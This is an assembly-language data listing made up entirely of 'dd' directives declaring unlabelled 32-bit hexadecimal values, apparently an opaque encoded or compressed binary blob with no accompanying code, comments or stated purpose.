dd 950A2500h, 32A5FDC5h, 0ACCB31EDh, 0F8A8D2E1h, 92F0BF51h
dd 0C97BF979h, 4DE6E900h, 5D0FBAD6h, 35540C16h, 0F068476Fh
dd 9EF2560Fh, 0BEA9603Fh, 0AACBA98h, 94C36F86h, 24A380A0h
dd 0C69148C8h, 2783CE01h, 1E37C40Bh, 0C05149CCh, 29454DD1h
dd 9A006979h, 61C663E2h, 396B1C5h, 0C397BC6Eh, 0E5A0B345h
dd 5C003D38h, 1142F2C6h, 28156D31h, 0A2BC5736h, 0FEBC1853h
dd 32C51116h, 999E8CD5h, 16E9079Ah, 752CB46Eh, 55B82050h
dd 0CF1FFAA2h, 1B91A834h, 513C7700h, 6EAA162h, 106D3B24h
dd 59AD9100h, 9047D57Ah, 0CC380060h, 0C393EE05h, 2C28C5D4h
dd 0D9EA944Ah, 0A87DB130h, 771A69h, 1130FBA0h, 0D6246193h
dd 16ED7118h, 0A29E420h, 0C4A11D4Ah, 5D807020h, 9040FD43h
dd 3FC8C2E4h, 0E8A03D2Fh, 3A905FC7h, 0A8CC0A3Ah, 0CE04B813h
dd 43251F94h, 532D1490h, 383744Fh, 0C46F5950h, 10A35868h
dd 0A2DCF909h, 0BC3C804Fh, 0D7B531h, 93298883h, 0DA26B287h
dd 9A00017Ch, 0B58DEC3h, 24A91AAEh, 9600C7BCh, 38D710CBh
dd 954F6D83h, 0C58A0A1h, 6E440FEh, 8544A03h, 303540CFh
dd 4CC0CB58h, 49043CA0h, 3B615A53h, 37C5F881h, 0B61DE880h
dd 5EE6E42Ah, 34B2E303h, 0A1A044AEh, 76004D15h, 0BC38F113h
dd 788D06C8h, 60082BB7h, 6B83214Ah, 4906A3F0h, 3A9E0722h
dd 8E980319h, 422A41B3h, 0ED00C17Eh, 0CA063514h, 4A1762h
dd 0E82C1A4Eh, 0C597BDBFh, 0DB94DE01h, 62015C34h, 3D1909ECh
dd 0C284F9CAh, 0CCD56A8Dh, 5B048B68h, 2A62595Eh, 0D422C132h
dd 0BF786093h, 1F12FA1Ch, 0C2FE25A8h, 0E1CD52E6h, 964F5848h
dd 0D5DAAB09h, 0D34480F3h, 572427h, 746F134Eh, 4A0D6DB0h
dd 3C627600h, 33DDA808h, 1CA230A1h, 9E011341h, 111A5A02h
dd 8130D902h, 61C5B7BCh, 57888450h, 7FA00927h, 0CC89D047h
dd 80642508h, 0F1686155h, 45862892h, 5B8CCC89h, 0D60AA1F6h
dd 0FC2187CFh, 42756020h, 910935FEh, 2088CC0Dh, 11F07A54h
dd 61C9015Fh, 94F8BAA4h, 0F8A0F291h, 88229301h, 70CEB030h
dd 30CC541h, 0CD4864B1h, 0B9014E35h, 6CF2BAD9h, 2EC08647h
dd 0BF1A0163h, 0E28D4EF8h, 2905F3F9h, 0FE4B1593h, 985C91C2h
dd 605EAB84h, 6733A9B6h, 765062F7h, 80AC17E4h, 0C7615E04h
dd 5D387AEEh, 945A61E2h, 22189E0h, 5AA549D3h, 0C40950Bh
dd 107FDC4h, 0D9062268h, 0F480C0A4h, 0EE4D638Bh, 378601E4h
dd 0FA14D698h, 279C701Bh, 7DF1C90Ch, 140D40C7h, 9C159ABCh
dd 3471F00h, 0DA012128h, 0B787EF14h, 9020044h, 32915318h
dd 44120082h, 95430AFEh, 0E10006E2h, 886C618Ah, 0F2FC99h
dd 0E7849DD2h, 58C0134Dh, 0BD542B3Dh, 3427A6E9h, 24A92414h
dd 80A8DC53h, 0E7DA6300h, 0AEA78732h, 27FAC0h, 891BBD2h
dd 97C56EE3h, 0AF13B3FCh, 0A47A9B80h, 82748510h, 1FF9B308h
dd 0CF1320A1h, 0A25A42Ch, 0D1BE8DC4h, 5B7F61F0h, 18F67152h
dd 7088C0F0h, 0CC5B0E87h, 0CD002331h, 661B0813h, 89BBAB3Eh
dd 253CA1D8h, 42F5634h, 6C1405EAh, 0A0879691h, 0D5F9AC10h
dd 4AF0B01Ah, 56900025h, 163561B6h, 0B2EF6B00h, 30FAAF98h
dd 2B5D3D55h, 0BD008449h, 8A243EF5h, 1000CCEDh, 6E806075h
dd 6EBF52FAh, 0FB2F71AEh, 245AB603h, 0ED7C0800h, 0A854148Ch
dd 0A1BB0267h, 5ABC8BB9h, 66C0E4E3h, 0E40FA550h, 0CE07964Dh
dd 8C024771h, 0D480D114h, 0C51923AFh, 2D86FD1h, 8D15AC34h
dd 991C4450h, 179904D9h, 2D0C1430h, 62C4286h, 0A6D3969Fh
dd 83EE00D9h, 0F828B8D4h, 3B0F5B49h, 4B8B5518h, 0DE4F8479h
dd 90351CC1h, 8730D501h, 1120A139h, 0EB77C990h, 189CA6EAh
dd 79BC4D88h, 0A5079051h, 0E699E87h, 2ECA82AFh, 67BCA01Ch
dd 50EA6B0Ch, 0B9B39016h, 60ED0734h, 5D80FEA3h, 7ABC87B7h
dd 1655F300h, 0B3B5C65Eh, 0D0955845h, 3EAB7580h, 4E0059BFh
dd 40F10F2Ah, 595DBD2h, 0CEB71637h, 6178C108h, 3F9029C9h
dd 99C9E0D2h, 76EDD3h, 52096D80h, 31E78D27h, 2D5DF07Bh
dd 330178D0h, 0BE9F6013h, 442D252Fh, 0DFA3BC00h, 0BFF1A89Bh
dd 5593C901h, 5E145D01h
dd 4C0040D2h, 7AF8A0F8h, 40509625h, 3D0FA10Ah, 942CC300h
dd 90F49285h, 3CE11207h, 0D5006264h, 9100C05Ah, 17B71EB9h
dd 7854D30h, 0A1403CDCh, 88D8C4F1h, 0E6008400h, 9D52E5EDh
dd 4808245h, 94CD0B58h, 0E44A3C5h, 84895451h, 0FC325980h
dd 4F5F1A20h, 36C70071h, 0ABE6BF0Fh, 2C9145F9h, 83DAC108h
dd 0D9C8B67Dh, 2C18A789h, 43B9E844h, 0F8F4251Dh, 3EA0016Dh
dd 0E25C8026h, 185029EBh, 8F995625h, 69F40052h, 0C5610EE3h
dd 0C23FA8A1h, 0CB240089h, 139AB90h, 5B5A0097h, 6785D6BBh
dd 6100A5B6h, 0E4D2FF1Dh, 262733h, 0A16F0EEDh, 0F0B99981h
dd 2A90DB01h, 8E3BE764h, 737903CBh, 627E142Dh, 65EAFEC0h
dd 48A6612h, 5905B860h, 0B350300Bh, 0A512C8D1h, 10A7C101h
dd 0F1A0FD96h, 4C4B1DCh, 0D8E8493Dh, 104CD7BBh, 1EC71F37h
dd 414C6100h, 0EC50AB73h, 60570481h, 0C5C96685h, 0C554C00Bh
dd 0EE00D51Bh, 0A1E7BECCh, 26C1677Ah, 26C94BDh, 881C5C18h
dd 0F80BC71h, 2E15D216h, 22484281h, 0B66F17C4h, 8DFA0216h
dd 5BE23F6Dh, 608034A8h, 3DF50501h, 0E24C7718h, 805F39h
dd 135E7FC4h, 0CBC611B5h, 7EB3B600h, 4F7D4C8Ah, 0E805012Ch
dd 4425EC60h, 106C00DDh, 827AA4h, 0FB28FF0Bh, 0C2BD6307h
dd 0CB13B091h, 8A212C20h, 0AB640096h, 0DA525F6Dh, 1A1DC398h
dd 9404D0B8h, 14C8BBA3h, 99A8644Eh, 9F688049h, 0C548EF9Ch
dd 5C482F8h, 0B2AC011Eh, 25D99466h, 8F9D0020h, 0E0B0797Ch
dd 0D2190085h, 0DA01FCB1h, 343B2A09h, 8F168A2Fh, 0B442FC64h
dd 10CC4A1Eh, 14017E4h, 0C77CBE52h, 0DCEB2191h, 0BB003372h
dd 0B8EA647h, 4BCD4D65h, 23802EC3h, 0A0A30077h, 0B2331B46h
dd 0F8237800h, 0FF579830h, 95EF0099h, 17618D70h, 0D63BD7Bh
dd 0E348E78h, 29B1C4E9h, 313A3F60h, 0A702865Fh, 4DED4152h
dd 8247058h, 45CEA902h, 1795609h, 0B14B5D1Dh, 0BE15AC50h
dd 87C38D0h, 5E5C6B00h, 0A1137895h, 2D04F37Ch, 0B02E59C0h
dd 0F6E098E5h, 9A951BC3h, 868482F4h, 0A01491DAh, 80F519h
dd 0D82D2CB3h, 76D2E6Fh, 0FD2B32C6h, 4707E5FEh, 30575ED8h
dd 51651AEDh, 2CA1D200h, 0BC64AF77h, 5F44279Bh, 26EE7018h
dd 78C8F408h, 5E196491h, 56F666C0h, 10D2C17Bh, 1E483835h
dd 6400C58Ch, 2B94F9C3h, 0DB603081h, 5D730F9h, 1F8262Dh
dd 726928CCh, 0DEFBA060h, 11A34580h, 0A28C88D6h, 6AC4F100h
dd 0A549D262h, 0EE34B63h, 422EFA70h, 0A05819CCh, 0D49FEC13h
dd 0F9A29823h, 41F07DBCh, 18A3F021h, 496CF153h, 1F260B43h
dd 0F2003C5Bh, 71338D4Eh, 187A5099h, 5A9C0169h, 4996FC11h
dd 0D1C451F7h, 234F60D8h, 0A1DE8D1Dh, 4F256E40h, 11E78C9h
dd 0AE0C75Bh, 30B55D6Bh, 9903BF4Ch, 6AFC4530h, 0BD1488DCh
dd 6C2F022h, 676FA65Ah, 2930B98Ah, 0F8A7F174h, 0F0F428D0h
dd 0C8E0449Ch, 0DC093013h, 0B6DD8820h, 0AA1900CEh, 0DAAEE22Eh
dd 0C34852BDh, 9E4F81DCh, 63709547h, 2E57179Ch, 0F0B8206Eh
dd 0A20CC862h, 48B87E83h, 5432E792h, 0B570F100h, 5B541D9Dh
dd 2F3E3Ah, 0D895C0Fh, 0B81FCC9Ah, 0D25D0278h, 7C5FCF04h
dd 85AFCCAh, 6AE53407h, 0D7D1546Ch, 0B0FCD9A3h, 50A10058h
dd 575C335Dh, 243A6BEFh, 0DC64A493h, 40CEC742h, 1655366h
dd 836CFF5Dh, 80163257h, 630D0559h, 17F50249h, 27EEAF55h
dd 0B3C890BCh, 0EF07C38Bh, 0C5C41B29h, 0FE4BB280h, 94611649h
dd 62AC204Dh, 200729D7h, 0D1128A9Fh, 9D3DA260h, 506B1265h
dd 35D84049h, 0D66A36Fh, 6891A51Eh, 0ABC78200h, 4C8EB4Eh
dd 95279B8Bh, 7C74A44Fh, 559FBE0Bh, 25408428h, 47CA8CD0h
dd 2E583BBCh, 0C1C029E0h, 13016707h, 18453179h, 95E8BFEAh
dd 36A6006Ch, 0B96920EDh, 0D900F513h, 0A89C1AE5h, 18771B08h
dd 5C97EB57h, 0A43AAB5Bh, 724C9BC8h, 3CC7F018h, 3F48FC85h
dd 4F805CE4h, 513AA0F2h, 6600131Ch, 4D06142Fh, 30BB3C64h
dd 6A31E254h, 6F2E2899h, 0FA0F0CF7h, 863F8E18h, 20378Eh
dd 0DD28F16Ch, 74CE01B3h, 968D2500h, 0BE76A4ADh, 4C81C67Dh
dd 0D703308Ah, 0F8DE23B8h, 0ED100795h, 20F07729h, 1568614Eh
dd 5C60C63Ah, 36806054h, 71467253h, 0DFD803FCh, 0E03FA4ACh
dd 70655100h, 29E659BCh, 98B600BBh, 1396B43Eh, 0EE281CFEh
dd 58018453h, 0D6074B62h, 40FE45A2h, 0B10FAFh, 57FA8E90h
dd 0D563E86Dh, 2BA03000h, 95514BD9h, 0DF6B1EDBh, 8BB48FEBh
dd 0D0EE1481h, 9073F84Fh, 7F067400h, 86D10923h, 34977304h
dd 2E112FE5h, 0C7EC8F04h, 0FEC001C9h, 0F96965h, 2E13BEDFh
dd 0A7BF46Ch, 23D6000h, 0B2A8EDECh, 7DFE0CDBh, 6F28C7F6h
dd 1C6D0A20h, 4D12C9Bh, 44B399ECh, 5B44F9C4h, 0FCE9420Bh
dd 0B1550286h, 10660523h, 2DD779h, 0B80987F6h, 0A05FCEh
dd 4EC61E56h, 0C01C579Dh, 0C2A83600h, 0B626FD23h, 76EF03DBh
dd 1DF134E6h, 9C790CC8h, 0EB814B00h, 0F8E0D19Ah, 0DE6A00F3h
dd 517C0E27h, 2C01F418h, 42B0D4C1h, 0AFE06FB3h, 12CE0032h
dd 375816BDh, 1E12482Dh, 14006528h, 5D70832Fh, 2C1400FCh
dd 33E87F81h, 9E3B4219h, 0DE72001Fh, 8A79D2C8h, 7C8700C5h
dd 2134DF9Ch, 410088C0h, 91540C04h, 789BBB6Eh, 3E17070Eh
dd 2089874Bh, 7AF8BEE5h, 7901167Eh, 54E451C8h, 6EE445EEh
dd 7BFEA90h, 0C49CBE43h, 0E3D4069h, 0B500B311h, 38BA124Bh
dd 0A81CB6D9h, 3644ECh, 0EA73BB7Bh, 7761F7A5h, 0FBB49703h
dd 0D070A3ACh, 7B0A3Ah, 3D14D30Ch, 0C5CB38B7h, 1C013F00h
dd 0FB168A2h, 0B3D626D2h, 935D0B4Ch, 33615800h, 8400F6C6h
dd 98DE4E1Ch, 70AAE82h, 963248E5h, 0A9C1E0EAh, 7013CFFh
dd 0E3D09C1Ch, 0BE42254h, 98BE0002h, 0C6F1CAC5h, 9100CEF7h
dd 8CFC6CBAh, 59F523h, 0C5F4ECEAh, 0E487FE7h, 78E57B00h
dd 5C120854h, 0F08809B3h, 8EFD46ADh, 3EBEA081h, 5578A4h
dd 24F69C0Eh, 0F95F4E28h, 0A890AF3Eh, 3B7E8821h, 70D6C500h
dd 0D4054304h, 1BC00E6h, 0F1DE4A51h, 0B200ABD2h, 0DF68C917h
dd 32E99A3h, 871A0816h, 0D7C80953h, 470082C0h, 9FBD84D5h
dd 79CAAAh, 0DFC8D652h, 9EDB41C6h, 683E0800h, 9CFE75A1h
dd 28740189h, 410CED1Bh, 561C08Eh, 6B9B7A00h, 1E9A2EF7h
dd 0EFC200A4h, 6AFE217h, 6A0021C1h, 0F724E30Dh, 0F3D6D96h
dd 4C47959Eh, 897980FCh, 0E2637A34h, 86F39900h, 97210B08h
dd 64B406D1h, 411C2ACCh, 4703B07Eh, 589DC911h, 77E0E893h
dd 10149088h, 3C2179F5h, 0B8500051h, 9795355Bh, 151F0FC2h
dd 0C0BDD931h, 7FC97363h, 4C00A01Ch, 7589C430h, 0C03C643h
dd 29E539F6h, 2100B511h, 0A301CEC9h, 80BB9Ah, 0ED6E3696h
dd 1582812Eh, 0D7BE30Ch, 1D7331ECh, 0C495BEB7h, 86A55EB0h
dd 0C500BA9Dh, 0C7FF0CF4h, 71FC3A66h, 0F14D1EE2h, 51CB0018h
dd 2797EF88h, 0D40017B0h, 0E826C659h, 5E9DC8h, 0E0183716h
dd 3695D1BAh, 0C774F207h, 34806067h, 0F802E8ABh, 197900BBh
dd 0D9F13F1Eh, 0F1E74D8h, 4ADD585Fh, 7304E91Ch, 0D08093DBh
dd 39DE8CFh, 0F180A5A2h, 60F7020Ah, 3E862A6Ah, 20DB9400h
dd 1CAFCE0Eh, 6F5E0053h, 292F64Ah, 0BF008F13h, 60AB2357h
dd 29BD97h, 0E5D65ECAh, 0F1A51CFh, 40983B12h, 0EE5F1C71h
dd 2B4CF140h, 5EFE2A7h, 64E6BCF4h, 0DA6480BAh, 0D8A99556h
dd 0A7DBDC1Eh, 0C9E9BC00h
dd 0D9E31AF9h, 6ED224BBh, 3037003Ch, 0E73E2ED7h, 18F64Ch
dd 8DDFB2E1h, 1F6BFF73h, 16434134h, 0ECAA001Dh, 0DCB0890Eh
dd 8111A800h, 24AF3899h, 5F43AC6h, 967CA580h, 0ABDCEB1h
dd 0BBA02200h, 0EEEDA94Ch, 0D1803930h, 77DF8407h, 4092E787h
dd 0F4CB8A20h, 59E9EE01h, 64FD97A2h, 2B50C8DBh, 0B6E0001Bh
dd 0EC3C46B9h, 6000D7EAh, 5F8ACC23h, 1D92C8E1h, 0C0FFBBEBh
dd 81A54C19h, 0E00036E6h, 0C9AF2565h, 0F48C394Ah, 0BB55000Eh
dd 9B26C0E2h, 0F00EAEBh, 0B0FC22CBh, 0C51BA5h, 27257936h
dd 6E98B152h, 83657300h, 0C03CDBE1h, 0F8BB00E0h, 232EBCC3h
dd 13136E94h, 0CD00BF09h, 0D853ACC7h, 349CA0ADh, 0DC990095h
dd 7037EF69h, 0DA00EB7Eh, 6381E4E6h, 701E68B5h, 926A00BAh
dd 71BBDDADh, 0ACB0E6CCh, 818DE800h, 0AB274811h, 4B8000C7h
dd 0EB79EE61h, 1700A655h, 889B05CAh, 0B1934h, 0DA4B8D38h
dd 0B8D85DA2h, 0A512B600h, 0F36AA7DFh, 0F00C4BB9h, 0C41E728Fh
dd 50408A8Ch, 7AFF90C7h, 49CF00C8h, 0BC798123h, 6B1ECA30h
dd 56C04DA8h, 83C61B9h, 146F00ABh, 0A60C6CD3h, 1C004BFBh
dd 0D788CFEAh, 1D9C1D85h, 568407F5h, 7B87BC0Ah, 341CD500h
dd 0C98B91B8h, 0BDDB0E32h, 57E06452h, 84E1467Dh, 0D814A407h
dd 0BF04E3Fh, 1BAB459h, 63C262EEh, 308C898Dh, 1D0033C8h
dd 0FDC95249h, 6076F3h, 8DF73177h, 0EC72D05h, 0F52CA800h
dd 0BA9F90E9h, 0E1A700ADh, 0B18169Ch, 0B400D9C6h, 6639FA97h
dd 98B33470h, 0C890DAh, 9E577F0Eh, 0DEB8270Ch, 0A1A5D712h
dd 63658840h, 0B1F27DF9h, 493B07FCh, 91E1E0CAh, 6300681Ch
dd 0F953401Fh, 0BA0924h, 0CDCFDF2h, 9C43C775h, 0FC7908E4h
dd 0DE9C70EFh, 19E1E601h, 2BAB3BB3h, 0FD60FCh, 0CD62C089h
dd 8DA30FAAh, 98F75B00h, 9921159Dh, 20B90064h, 2A9C6981h
dd 124C222Eh, 13E3AC4h, 0BAE77748h, 0B0806D2Ch, 1F615D01h
dd 510133D2h, 3D7DE9A9h, 1AE00444h, 0C37E000Ch, 274906F9h
dd 100FD4D3h, 0A0868A4Ch, 0C9801281h, 2937092h, 91591C13h
dd 3CE8E05Eh, 4A0D78A7h, 0F02520C9h, 3C7B68CCh, 0F9855D7Fh
dd 0D5DF05FFh, 96440124h, 0DCD871B2h, 3A00399Ah, 0C38246CCh
dd 1DB4F56h, 8654E95Bh, 0E8C168C4h, 0FEA00D1Dh, 0FB5032F0h
dd 0E9005C94h, 39142971h, 63D354h, 3B9172B3h, 51619C21h
dd 5D069F00h, 81A38A1Bh, 0D39000DBh, 85136337h, 5E4D0E6h
dd 19F9D500h, 0E8E4AE95h, 24E4B81Eh, 1984C70h, 584AAD11h
dd 0E285FCDCh, 0E35D3503h, 0B827FE90h, 3B86D103h, 4480F39Dh
dd 65D9B8DFh, 8E00EB49h, 8D069213h, 6D1D76Dh, 0CE71FFFDh
dd 3000B8CCh, 0E420E1BEh, 1E52C988h, 411A7903h, 1AE0BB7h
dd 177CEC5Fh, 518CF93Dh, 0C44961A4h, 2613757Dh, 2D0E0FECh
dd 31B2E13h, 8A123F4Dh, 799E80DBh, 95903F4h, 0B788F347h
dd 7746D183h, 0C2922ED0h, 0FD00B670h, 2A98B8AAh, 0DCDD8D5Fh
dd 0BC3983C8h, 0BAF8E94Bh, 78C024BFh, 0EA366E6h, 0D8F509ADh
dd 64238DCEh, 2FD8F061h, 0A2033BA4h, 0D196B4EAh, 0DC0A194h
dd 5BC83680h, 2D86F67Dh, 0B70254Ch, 8ECB186Ch, 4065A0F0h
dd 7985344h, 6F890CDh, 58A8C085h, 0C1652FBh, 0D81DC042h
dd 0B2C0E95Eh, 5F29B479h, 9979890h, 0F98D752Eh, 6AC7200h
dd 26004B13h, 1F9276BBh, 73A0B77Fh, 33590071h, 85E81240h
dd 0FCEA09CDh, 5543AF05h, 5C874E37h, 628077F0h, 3A7C035Ah
dd 0A07E1813h, 80B917B9h, 1E81D80h, 4DFED397h, 4A00C8ADh
dd 0B5A50BF0h, 540051CCh, 15A3507Fh, 43BA02h, 74C3AF7Dh
dd 0BC0CCAD7h, 0D2867500h, 0F21521FCh, 0DDEAA9h, 9E39A424h
dd 1B298074h, 5A73CC00h, 0BCD2B42Ah, 81E507DDh, 545DB794h
dd 8084950Bh, 75D1F78Dh, 1B105860h, 2499209Eh, 7532D33h
dd 3090C371h, 233FE7C9h, 0FC01D1B0h, 3750F37h, 0E1EA2636h
dd 93C87211h, 5C400ABh, 58854F19h, 4731B27h, 0DF9E2A00h
dd 0A7B3C656h, 0AD7117CBh, 0D9000024h, 54E3B488h, 45D69000h
dd 2C964707h, 0E7A401D8h, 0DD0F790Ch, 3C9B4053h, 7F243ED6h
dd 4E0F2CF3h, 5DBBE012h, 0B0A6827Eh, 0CF87344h, 61A9D9A4h
dd 6EEEAD10h, 542B8500h, 0CC4DECEEh, 1D3A74C8h, 4E87DEDAh
dd 0A8406045h, 0D938B84Fh, 610EC598h, 80DD9AF6h, 600A4792h
dd 0DA01020Eh, 3F596753h, 16B28440h, 0FE7B8270h, 1970FD03h
dd 0B0E1CEC7h, 777C0C8h, 81BBEEE6h, 0E760C16Dh, 0D93C30CDh
dd 1DE8E000h, 654FDC53h, 5C3903FCh, 0A79FBD9Bh, 255276E8h
dd 78DEBE60h, 0ABE4D8h, 1AC8C68Ah, 2FE9207Ah, 74003A7Eh
dd 898259A8h, 967FD73h, 14CE8A2Ch, 0EC3F8080h, 5D0E472Dh
dd 4036546Bh, 9EB3D28Eh, 292500F1h, 9F8C3FB8h, 96485E90h
dd 133D8040h, 0B365F2h, 44CDA770h, 7752619Bh, 322CF02h
dd 0E0BD24A9h, 3751639h, 34499EE5h, 70CA0C69h, 998F14E5h
dd 54A5805Dh, 0B8F1DEB9h, 83890651h, 2856790Eh, 0AD888104h
dd 0AAEA36h, 46601400h, 0CEE9545h, 707F8F2Ch, 0D9BB9E02h
dd 7C73F2h, 0E9DAA9D7h, 72CE750Dh, 0FA17E018h, 3C84DDB7h
dd 2C8B5DF7h, 50A9024Ah, 8F2AA480h, 10C06C44h, 0A90B89E9h
dd 58B10F3Ah, 9A6BB691h, 767F3400h, 7A04C61Fh, 48530F1Ch
dd 643C58D0h, 7BEC59h, 776589E4h, 9AA990C1h, 4426603h
dd 80812CBDh, 0A71F9Eh, 7871D59Fh, 0EB39AAB0h, 0B277F6FCh
dd 8D629900h, 0FCF95E34h, 88270230h, 0ED9D9153h, 7E496C78h
dd 40C6C02Ch, 1C91EFA9h, 3846135h, 0E2EEC1D5h, 96031F2h
dd 5300172Ch, 724B6F60h, 0CD1BB6h, 49CC7E42h, 3847D00Ah
dd 0F027E700h, 89B1F334h, 23B7004Dh, 7BB27468h, 0FE506A76h
dd 1C7ED4DAh, 40348900h, 1CC52B9h, 41A90020h, 0ECED87CAh
dd 2200AF1Bh, 8EFF2B8Dh, 23008h, 6D55A5EEh, 0C237EB82h
dd 7FBE30Fh, 0F08C60F2h, 7D4D7B1Dh, 89E0071h, 0BAEFD104h
dd 5B24E5BDh, 0E1002039h, 4267E462h, 0DDF30017h, 4F1BCFBFh
dd 0A44F8EDAh, 0D6B59800h, 0B4492Ah, 0E4F85B6Bh, 0A24052D7h
dd 0B2FFA70Bh, 4D20006Dh, 901DDB55h, 41A60050h, 0A3B980ACh
dd 0F895864Eh, 9B48009Bh, 465662D9h, 1000ED84h, 83A96B9h
dd 67D761h, 0D1554E4h, 9BD0A67Ah, 83A5B727h, 0C801055Ch
dd 492FD595h, 0C51C98C1h, 0F772807Fh, 383C16CFh, 1F6E5503h
dd 0E0E4B542h, 847F61h, 0AED93701h, 0CCAABEFAh, 95C0450Ah
dd 168BF844h, 0D06CBB3Eh, 19B143h, 7A22BEDAh, 1782C38Ch
dd 0A0E71400h, 0AB65163Dh, 0CF270010h, 769AC643h, 903B884h
dd 128FEDF6h, 0A3EC884Eh, 4803489Bh, 0AE62E903h, 0BBC83B69h
dd 0B0168F7h, 0CCD4D1DEh, 79F80A23h, 0C5190002h, 0F1574012h
dd 0EA0068D6h, 0B19263ECh, 35FE969h, 3D44E183h, 2C88269Eh
dd 0B2007687h, 4A882BDDh, 3EC9125Fh, 0D8602753h, 78D141DBh
dd 6300B8B0h, 0F25A8C25h, 0EB5D643h, 3456A789h, 0C6CB820h
dd 0F405308Ah, 0BDA8295Ah, 0F50DC1C0h, 0A6420037h, 0DDA4E3C5h
dd 9D1D363Dh, 6A005279h, 1A409880h, 13230904h, 4830B61h
dd 0D191A418h, 70BEF832h, 0FCDCD501h, 3E0198ABh, 97AC20h
dd 2F2935E9h, 60379449h, 0B08A8704h, 0F490401Ah, 47CAED7h
dd 9BB1EA42h, 0DC88F084h, 76BC2F00h, 0F1F42989h, 98FD05B7h
dd 0D74492A1h, 0DF08675Ch, 48BD403Dh, 0FD326E3Eh, 0BEB35B12h
dd 256DA840h, 0B01F778Fh
dd 19F4006Ch, 0B890C9A4h, 1001277Ah, 9222EAC3h, 1620B90Fh
dd 0A3120041h, 4A5816A0h, 72005408h, 194D1440h, 1251808Ch
dd 0B38226h, 0DDD5F215h, 0DE057563h, 22CA2F7h, 0E877C445h
dd 0FA6BB302h, 0E7BC6033h, 0D3D10FE4h, 1280D61Dh, 40BA8295h
dd 0F101D973h, 0BCEF3D42h, 77CC8507h, 879700FEh, 89DAECCFh
dd 530E04C7h, 0C0CA789Ah, 0FBDF41A8h, 0EF5C0217h, 0B6158B11h
dd 28EE6C40h, 9E48E107h, 16B0C6A1h, 1320AF92h, 0AEBD1C2Ah
dd 9D37BC00h, 71E8751h, 5FE03C19h, 470A478Ah, 935CB09Ch
dd 9707B03Ah, 3DDCF4E2h, 1AB43EF0h, 0EA0E836h, 1E86F613h
dd 42B2EA40h, 0D000FA35h, 922303E5h, 14531BE3h, 24A93114h
dd 3C127C07h, 0DC3E7035h, 0C737B7C1h, 999388DDh, 4A0BD8E9h
dd 1AEA07BDh, 625FE53Ch, 0DD188F87h, 723D2088h, 1883943Bh
dd 0B97848B5h, 3AB61E90h, 0C684FF2Fh, 802C517Eh, 92D24775h
dd 58CB5A00h, 507793EAh, 0A37E5Ch, 2CDFB8F0h, 0D01FD7DCh
dd 0B38B8200h, 1C5BFED8h, 5F85026Bh, 580C6524h, 0F6211460h
dd 0F1774007h, 75F049EEh, 150DC5Ah, 0C60AB5B3h, 0D013D514h
dd 0AF031D91h, 0B85B030Dh, 0B0E001E0h, 85F24E18h, 12E5EC95h
dd 98DAAC0Fh, 6853602Ch, 1D114075h, 5EB779h, 0D6086F90h
dd 0A700B0FCh, 825730ABh, 1EB77872h, 414B738Ch, 0C4690E26h
dd 0B1608D85h, 40E6997h, 30C780EEh, 0F762A7h, 0DC92BD38h
dd 577C7AB7h, 0BFAB011Ch, 209E410Eh, 15524CC7h, 0DE3818FDh
dd 53D029C8h, 88DA0288h, 3B884B20h, 54D34003h, 73C49945h
dd 0C73A0867h, 308850C4h, 3C2894A0h, 93C71708h, 0F486D810h
dd 0EC2229CFh, 692D2250h, 37375C22h, 8A1E241h, 27C2EF42h
dd 5B8C1830h, 0A044298Bh, 40F1463Ch, 4A44149Dh, 0D8BD44C1h
dd 2E61AE88h, 19B999h, 6B983B31h, 0DA07DBB1h, 7A740979h
dd 0A0E57860h, 0A6730057h, 59A3B4BAh, 210FED33h, 40DA01A1h
dd 0F7D50B63h, 0B01D00C1h, 0D8DDBFB7h, 203C8A4Ah, 2A880082h
dd 0BEDB05DFh, 625907C4h, 0A054AC68h, 0FAFBF528h, 253D3800h
dd 2D15E401h, 20690D2Fh, 0CC18C2BDh, 1900360Ah, 49BF904Dh
dd 30F8ABh, 9920C1F9h, 428605D7h, 0E747DD18h, 0E641BB30h
dd 27C6051h, 6F50BC4Eh, 0B06A0901h, 0EBB89C29h, 82DC1421h
dd 0F80A0744h, 105BA5D6h, 0BB731F99h, 7F48E660h, 6062563Eh
dd 278E59BEh, 7507AD37h, 4CF9FC24h, 0A2138A01h, 0F3AC07Fh
dd 64FAAF1Bh, 0A67A0DECh, 4260EC01h, 0CF55920h, 0E65420h
dd 9E870EFDh, 803A17ACh, 0E154B8C3h, 9DE3B0B6h, 0A09000B4h
dd 28D42FC0h, 3A0126D9h, 6F3786E7h, 0D5E8BCBFh, 0C36500B9h
dd 26D81E8Dh, 42053C84h, 9A6662E5h, 13078BBCh, 50C3213Fh
dd 0D4705D79h, 7631C200h, 0BA5EAAC4h, 0E24F12DDh, 9A1B00ECh
dd 5A8AF887h, 225CC302h, 0DDA916FFh, 0C04BA805h, 41AB2CBCh
dd 0F4B7DE00h, 0FB521E75h, 277BD6h, 0F0D00C88h, 2A699F0Eh
dd 0F2473E04h, 0CC80AEC3h, 3D2F4F9h, 8E654573h, 7A88F61Fh
dd 943892AAh, 410C0067h, 0C0160A59h, 7CB5006Fh, 0F85782A7h
dd 0AE393A96h, 0B7358091h, 8CD2F30h, 0E2FB0389h, 84C31578h
dd 0E683E983h, 293301E8h, 20F20B03h, 0B18D76FBh, 0A0506686h
dd 4874F564h, 3006CBCDh, 18140DF7h, 19447900h, 75F3ABF2h
dd 0F132076Dh, 0B051B334h, 0E66A3D5Bh, 0E1D0091Ch, 0EB83BC0Fh
dd 0DF40EBBh, 428028F6h, 0D2FC52F8h, 5F0E03DDh, 0B8C4B5DFh
dd 99D710h, 0A4C67674h, 9890C231h, 0E5D16E00h, 0DAEB8847h
dd 125C98B6h, 213BC1FDh, 21763404h, 7583D8EDh, 0D97FDE05h
dd 0F40303F6h, 808F28EBh, 90B3A449h, 6D4E0312h, 990B9CA8h
dd 4D07A2F0h, 0BE668400h, 0A45D4AAEh, 34EF0004h, 737BC79Ch
dd 98006597h, 0F4811FE1h, 2D79C1h, 7D14105Eh, 61699E13h
dd 1705D900h, 3974522h, 0B23F0087h, 0D1B3A302h, 6E009AE0h
dd 0AC8689C9h, 665A39h, 0BDEF6CADh, 6762B4DEh, 485E8803h
dd 88A59711h, 0ED6058h, 1ED50603h, 6B2B427Eh, 0F2F72A02h
dd 404DA5FCh, 30FD14h, 0B1A94E46h, 0F32C2B8Eh, 6107F400h
dd 6DC8460h, 92421DFDh, 8103CF18h, 0C1329367h, 21FFF21Dh
dd 0E1FB6029h, 11CB1501h, 0CE379E64h, 61D01421h, 3DC34384h
dd 864080FEh, 4D0AA723h, 0EAF80062h, 0DB688130h, 607FA991h
